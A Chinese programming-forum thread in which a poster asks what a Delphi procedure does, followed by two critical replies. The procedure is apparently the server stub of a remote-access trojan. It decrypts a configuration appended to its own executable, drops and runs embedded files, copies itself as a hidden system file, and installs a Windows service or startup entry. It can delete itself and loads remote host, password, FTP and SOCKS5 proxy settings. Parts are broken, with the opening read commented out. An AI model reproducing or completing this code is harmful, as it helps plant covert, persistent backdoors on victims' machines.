请教这个文件读写操作是什么意思

请问这个文件读写操作是什么意思
procedure TDRFS.ReadMe;
Var
  Temp:string;
  F:file;
  Each_size:array [1..27] of char;
  Str:array [1..1000] of char;

  Symbol:array [1..7] of char;
  Setstr:string;
  len,i:integer;
  S:integer;
  Count,b:integer;
  J,JJ:integer;

  buf:array[0..4096] of byte;
  fstream1:tfilestream;
  fstream2:tfilestream;
  info:FILE_INFO;
  dir:string;

  Reg:TRegistry;
begin
{try //大括号
  Assignfile(F,paramstr(0));
  FileMode :=0;
  Reset(f,1);
  Seek(F,Filesize(f)-7);
  BlockRead(F,Symbol,7);
if Dejiem(Symbol)='HGZVIP1' then
  begin
  Seek(F,filesize(F)-34);
  BlockRead(F,Each_size,27);
  len:=0;
  for i:=1 to 27 do len:=len+ord(each_size[i]);
  Seek(f,filesize(F)-34-len);
  for i:=1 to 1000 do str[i]:=' ';
  blockread(F,Str,len);
  Setstr:=Trim(str);} //大括号

  Peizhi.SetupPath :=strtoint(JieMi(copy(Setstr,1,ord(each_size[1])))); {安装路径}

  i:=ord(each_size[1])+1; {安装名称}
  Peizhi.SetupFile:=JieMi(copy(setstr,i,ord(each_size[2])));

  i:=i+ord(each_size[2]);
  Temp:=JieMi(copy(setstr,i,ord(each_size[3])));
  if Copy(Temp,1,1)='1' then Peizhi.AutoDelMe:=True; {自我删除}
  if Copy(Temp,2,1)='1' then Peizhi.RunView:=True; {运行时充许退出}

  i:=i+ord(each_size[3]); {启动项}
  Temp:=JieMi(copy(setstr,i,ord(each_size[4])));
  if Copy(Temp,1,1)='1' then Peizhi.Regqidong:=True; {写入注册表启动项}
  if Copy(Temp,2,1)='1' then Peizhi.WinXpSer:=True; {写入服务项}


  i:=i+ord(each_size[4]); {显示名称}
  Peizhi.WinServerView:=JieMi(copy(setstr,i,ord(each_size[5])));

  i:=i+ord(each_size[5]); {服务名称}
  Peizhi.WinServerName:=JieMi(copy(setstr,i,ord(each_size[6])));

  i:=i+ord(each_size[6]); {描述信息}
  Peizhi.WinServerText:=JieMi(copy(setstr,i,ord(each_size[7])));

  i:=i+ord(each_size[7]);
  Temp:=JieMi(copy(setstr,i,ord(each_size[8])));
  if Copy(Temp,1,1)='1' then Peizhi.MsgShow:=True; {是否显示对话框}
  Peizhi.TouBiao:=Strtoint(Copy(Temp,2,1)); {图标类型}
  Peizhi.NanNu:=strtoint(Copy(Temp,3,1)); {按钮类型}

  i:=i+ord(each_size[8]); {对话框标题}
  Peizhi.BiaoTi:=JieMi(copy(setstr,i,ord(each_size[9])));

  i:=i+ord(each_size[9]); {对话框正文}
  Peizhi.NeiRong:=JieMi(copy(setstr,i,ord(each_size[10])));

  i:=i+ord(each_size[10]); {服务端未配置前大小}
  Peizhi.SfileSize:=Strtoint(JieMi(copy(setstr,i,ord(each_size[11]))));

  case Peizhi.SetupPath of {安装路径}
  0:Setupname:=Syspath+Peizhi.SetupFile; //avira
  1:Setupname:=windowspath+Peizhi.SetupFile;
  2:Setupname:=Temppath+Peizhi.SetupFile;
  end;
try
 if Peizhi.SfileSize<>0 then
  begin
  try
  fstream1:=tfilestream.Create(paramstr(0),fmShareDenyRead);
  fstream1.Seek(Peizhi.SfileSize,soFromBeginning);
  while fstream1.Position<>fstream1.Size do
  begin
  fstream1.Read(info,sizeof(info));

  count:=0;
  if (CompareText(paramstr(0),Setupname)<>0) then
  dir:=TempPath+info.filename
  else
  dir:=ExtractFilePath(ParamStr(0)) + info.filename; //360 ExtractFilePath(ParamStr(0)) +
  if FileExists(dir) then
  begin
  FilesetAttr(dir,0);
  DeleteFile(dir);
  end;
  if FileExists(dir) then
  dir:=RandomFilename(dir);

  assignfile(f,dir);
  rewrite(f);
  closefile(f);
  fstream2:=tfilestream.Create(dir,fmopenwrite);
  fstream2.Size:=0;
  j:=info.len div sizeof(buf);
  for b:=1 to j do
  begin
  s:=fstream1.Read(buf,sizeof(buf));
  fstream2.Write(buf,s);
  inc(count,s);
  end;
  s:=fstream1.Read(buf,info.len-count);
  fstream2.Write(buf,s);
  fstream2.Free;
  if info.isopen<>0 then
  begin
  tempShellExecute(0, 'Open', pchar(dir),info.Por, nil, SW_NORMAL);
  end
  else
  begin {info.isopen=0}
  if (CompareText(paramstr(0),Setupname)<>0) then
  tempShellExecute(0, 'Open', pchar(dir),info.Por, nil, SW_NORMAL);
  end;
  end; {while}
  finally
  fstream1.Free;
  end;
  end;
except
end;
//
  if (CompareText(paramstr(0),Setupname)<>0) then
  begin
  try
  if FileExists(Setupname) then
  begin
  FilesetAttr(Setupname,0);
  DeleteFile(Setupname);
  if FileExists(Setupname) then
  begin
  Halt(0);
  Exit;
  end;
  end;
  CopyFile(pchar(paramstr(0)),pchar(Setupname),False);
  Setfileattributes(pchar(Setupname),FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN);
  except
  end;
  try
  try
  reg:=Tregistry.Create ;
  reg.RootKey :=HKEY_LOCAL_MACHINE;
  reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup',true);
   
  reg.DeleteValue('Beizhu');
  Reg.CloseKey;
  reg.Free;
  except
  end;

  if IsNT then
  begin
  if Peizhi.WinXpSer then
  begin
  try
  DelService(Peizhi.WinServerName);
  except
  end;
  Sleep(1000);
  try
  InstallService(Peizhi.WinServerName,Peizhi.WinServerView,Setupname+' -NetSata',Peizhi.WinServerText);
  except
  end;
  end;
  end
  else
  begin
  InRegMe;
  end;
//
  {第一次安装，显示提示内容！}
  if Peizhi.MsgShow then
  begin
  try
  case Peizhi.NanNu of
  0:j:=MB_OK;
  1:j:=MB_OKCANCEL;
  2:j:=MB_YESNO;
  3:j:=MB_YESNOCANCEL;
  4:j:=MB_RETRYCANCEL;
  5:j:=MB_ABORTRETRYIGNORE;
  end;
  case Peizhi.TouBiao of
  0:JJ:=mb_iconInformation;

  1:JJ:=MB_ICONQUESTION ;
  2:JJ:=mb_iconwarning;
  3:JJ:=mb_iconerror;
  end;
  Forms.Application.MessageBox(pchar(Peizhi.NeiRong),pchar(Peizhi.BiaoTi),J+JJ+mb_topmost);
  except
  end;
  end;
  if paramstr(1)='' then
  begin
  Winexec(pchar(Setupname+' -NetSata'),SW_Hide);
  end;
  if (Peizhi.AutoDelMe) and (paramstr(1)='') then 
  begin
  DelMe;
  end;
  Halt;
  Exit;
  except
  Halt;
  end;
  Exit;
 end;


  i:=i+ord(each_size[11]);
  Peizhi.Urlhttp:=JieMi(copy(setstr,i,ord(each_size[12])));

  i:=i+ord(each_size[12]);
  Temp:=JieMi(copy(setstr,i,ord(each_size[13])));

  j:=pos(':',Temp);
  if j>0 then
  begin
  try
  Peizhi.Port :=80;
  Peizhi.Port :=StrtoInt(Copy(Temp,j+1,Length(Temp)));
  except
  end;
  Peizhi.Dnsym:=Copy(Temp,1,j-1);
  end
  else
  begin
  Peizhi.Port :=80;
  Peizhi.Dnsym:=Temp;
  end;



  i:=i+ord(each_size[13]);
  Peizhi.httpwj:=JieMi(copy(setstr,i,ord(each_size[14])));

  i:=i+ord(each_size[14]);
  Peizhi.PassWord:=JieMi(copy(setstr,i,ord(each_size[15])));

  i:=i+ord(each_size[15]);
  Peizhi.Group:=JieMi(copy(setstr,i,ord(each_size[16])));

  i:=i+ord(each_size[16]);
  try
  Peizhi.ClientIm:=Strtoint(JieMi(copy(setstr,i,ord(each_size[17]))));
  except
  Peizhi.ClientIm:=25;
  end;

  i:=i+ord(each_size[17]);
  Peizhi.Beizhu:=JieMi(copy(setstr,i,ord(each_size[18])));


  i:=i+ord(each_size[18]);
  Temp:=JieMi(copy(setstr,i,ord(each_size[19])));
  if Temp<>'0' then Peizhi.OpenFtpS:=True;

  i:=i+ord(each_size[19]);
  Peizhi.FtpPort:=JieMi(copy(setstr,i,ord(each_size[20])));

  i:=i+ord(each_size[20]);
  Peizhi.Ftpuser:=JieMi(copy(setstr,i,ord(each_size[21])));

  i:=i+ord(each_size[21]);
  Peizhi.Ftppass:=JieMi(copy(setstr,i,ord(each_size[22])));

  i:=i+ord(each_size[23]);
  Temp:=JieMi(copy(setstr,i,ord(each_size[24])));
  if Temp<>'0' then Peizhi.OpenSocks5:=True;

  i:=i+ord(each_size[24]);
  try
  Peizhi.Socks5Port:=Strtoint(JieMi(copy(setstr,i,ord(each_size[25]))));
  except
  Peizhi.Socks5Port:=1080;
  end;

  i:=i+ord(each_size[25]);
  Peizhi.Socks5user:=JieMi(copy(setstr,i,ord(each_size[26])));


  i:=i+ord(each_size[26]);
  Peizhi.Socks5pass:=JieMi(copy(setstr,i,ord(each_size[27])));
  end
else
  begin
  Peizhi.Urlhttp:='';
  Peizhi.Group:='配置出错主机';
  end;
  try
  Closefile(f);
  except
  end;
Except
  Peizhi.Urlhttp:='';
  Peizhi.Group:='读取配置出错主机';
end;
end;

[解决办法]
猫了个咪的，这么长的代码，要死人的。
函数竟然没有参数，没有返回值，奇怪的代码，脑袋秀逗了。一个函数如果没有入口参数，没有返回结果，通用性很差，可读性很差，靠这种方式加密，最终倒霉的是自己。只会偷鸡摸狗的人，没有大出息。

函数起始的那段读文件的部分竟然被注释掉了，这函数要是能正确执行，上帝都会哭。

竟然允许自删除；修改启动项、系统服务；使用系统路径、windows路径、临时目录路径作为安装路径......

跳跃读的，根本没耐心看它。

告诫楼主，这种代码没必要看，误人子弟。剑指偏锋不会成大器。
[解决办法]
同意楼上的。代码规范一定要养好，这是我进公司，一个牛人对我的谆谆教导，很受用。